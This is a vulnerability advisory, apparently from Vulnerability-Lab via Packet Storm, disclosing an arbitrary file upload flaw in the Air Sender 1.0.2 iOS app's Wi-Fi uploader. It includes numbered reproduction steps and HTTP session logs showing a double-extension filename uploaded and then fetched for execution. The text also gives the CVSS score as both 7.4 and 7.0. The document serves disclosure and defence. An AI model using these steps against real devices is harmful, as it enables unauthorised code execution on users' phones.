Air Sender 1.0.2 Arbitrary File Upload

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  • Air Sender version 1.0.2 for iOS suffers from an arbitrary file upload vulnerability.
    MD5 | 1be8fe922a7c416f5c4ef8ecbdd3f758
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    Document Title:  
    ===============  
    Air Sender v1.0.2 iOS - Arbitrary File Upload Vulnerability  
    References (Source):  
    ====================  
    https://www.vulnerability-lab.com/get_content.php?id=2212  
    Release Date:  
    =============  
    2020-04-24  
    Common Vulnerability Scoring System:  
    ====================================  
    7.4  
    Vulnerability Class:  
    ====================  
    Arbitrary File Upload  
    Affected Product(s):  
    ====================  
    Tran Tu  
    Air Sender v1.0.2 iOS - Apple iOS Mobile Web Application  
    Exploitation Technique:  
    =======================  
    Remote  
    Severity Level:  
    ===============  
    High  
    Technical Details & Description:  
    ================================  
    An arbitrary file upload web vulnerability has been discovered in the  
    official Air Sender v1.0.2 iOS mobile application.  
    The web vulnerability allows remote attackers to upload arbitrary files  
    to compromise for example the file system of a service.  
    The arbitrary upload vulnerability is located in the within the  
    web-server configuration when using the upload module.  
    Remote attackers are able to bypass the local web-server configuration  
    by an upload of malicious webshells. Attackers  
    are able to inject own files with malicious `filename` values in the  
    `upload` POST method request to compromise the  
    mobile web-application. The application does not perform checks for  
    multiple file extensions. Thus allows an attacker  
    to upload for example to upload a html.js.png file. After the upload the  
    attacker requests the original url source  
    with the uploaded file and removes the unwanted extension to execute the  
    code in the unprotected web-frontend.  
    The security risk of the vulnerability is estimated as high with a  
    common vulnerability scoring system count of 7.0.  
    Exploitation of the web vulnerability requires a low privilege ftp  
    application user account and no user interaction.  
    Successful exploitation of the arbitrary file upload web vulnerability  
    results in application or device compromise.  
    Request Method(s):  
    [+] POST  
    Vulnerable Module(s):  
    [+] ./upload  
    Vulnerable File(s):  
    [+] list?path=  
    [+] download?path=  
    Proof of Concept (PoC):  
    =======================  
    The arbitrary file upload vulnerability can be exploited by remote  
    attackers without user interaction and with local network access.  
    For security demonstration or to reproduce the vulnerability follow the  
    provided information and steps below to continue.  
    Manual steps to reproduce the vulnerability ...  
    1. Install and start the ios mobile application on your apple device  
    2. Open your local browser and start to tamper the http session  
    2. Open the wifi user interface without authentication by default  
    4. Click upload, choose any file  
    5. Change the files name to your script code test payload via session tamper  
    6. Continue to submit the manipulated content  
    7. Open the via the list or download url to the uploaded html / js file  
    to execute it  
    8. Successful reproduce of the mobile ios vulnerability!  
    PoC: Exploitation  
    http://localhost/download?path=0010101001.html.js  
    http://localhost/download?path=0010101001.html.js  
    --- PoC Session Logs [POST] ---  
    http://localhost/upload  
    Host: localhost  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
    Gecko/20100101 Firefox/75.0  
    Accept: application/json, text/javascript, */*; q=0.01  
    Accept-Language: en-US,en;q=0.5  
    Accept-Encoding: gzip, deflate  
    X-Requested-With: XMLHttpRequest  
    Content-Type: multipart/form-data;  
    boundary=---------------------------418835692331824972282021572505  
    Content-Length: 2609  
    Origin: http://localhost  
    Connection: keep-alive  
    Referer: http://localhost/  
    Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411  
    path=/&files[]=0010101001.html.js.png  
    -  
    POST: HTTP/1.1 200 OK  
    Cache-Control: no-cache  
    Content-Length: 2  
    Content-Type: application/json  
    Connection: Close  
    Server: GCDWebUploader  
    -  
    http://localhost/list?path=[PATH]/[Evil.Source]  
    Host: localhost  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
    Gecko/20100101 Firefox/75.0  
    Accept: application/json, text/javascript, */*; q=0.01  
    Accept-Language: en-US,en;q=0.5  
    Accept-Encoding: gzip, deflate  
    X-Requested-With: XMLHttpRequest  
    Connection: keep-alive  
    Referer: http://localhost/  
    Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411  
    -  
    GET: HTTP/1.1 200 OK  
    Cache-Control: no-cache  
    Content-Length: 381  
    Content-Type: application/json  
    Connection: Close  
    Server: GCDWebUploader  
    -  
    http://localhost/download?path=0010101001.html.js  
    Host: localhost  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
    Gecko/20100101 Firefox/75.0  
    Accept:  
    text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
    Accept-Language: en-US,en;q=0.5  
    Accept-Encoding: gzip, deflate  
    Connection: keep-alive  
    Referer: http://localhost/  
    Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411  
    Upgrade-Insecure-Requests: 1  
    -  
    GET: HTTP/1.1 200 OK  
    Connection: Close  
    Server: GCDWebUploader  
    Date: Tue, 14 Apr 2020 19:35:28 GMT  
    Content-Disposition: attachment; filename="0010101001.html.js";  
    filename*=UTF-8''0010101001.html.js  
    Content-Length: 2270  
    Cache-Control: no-cache  
    Etag: 4306047746/1586892764/961771080  
    Reference(s):  
    http://localhost/list  
    http://localhost/upload  
    http://localhost/download  
    Credits & Authors:  
    ==================  
    Vulnerability-Lab -  
    https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
    Benjamin Kunz Mejri -  
    https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.  
    --   
    VULNERABILITY LABORATORY - RESEARCH TEAM  
    SERVICE: www.vulnerability-lab.com  
    

    Source: packetstormsecurity.com

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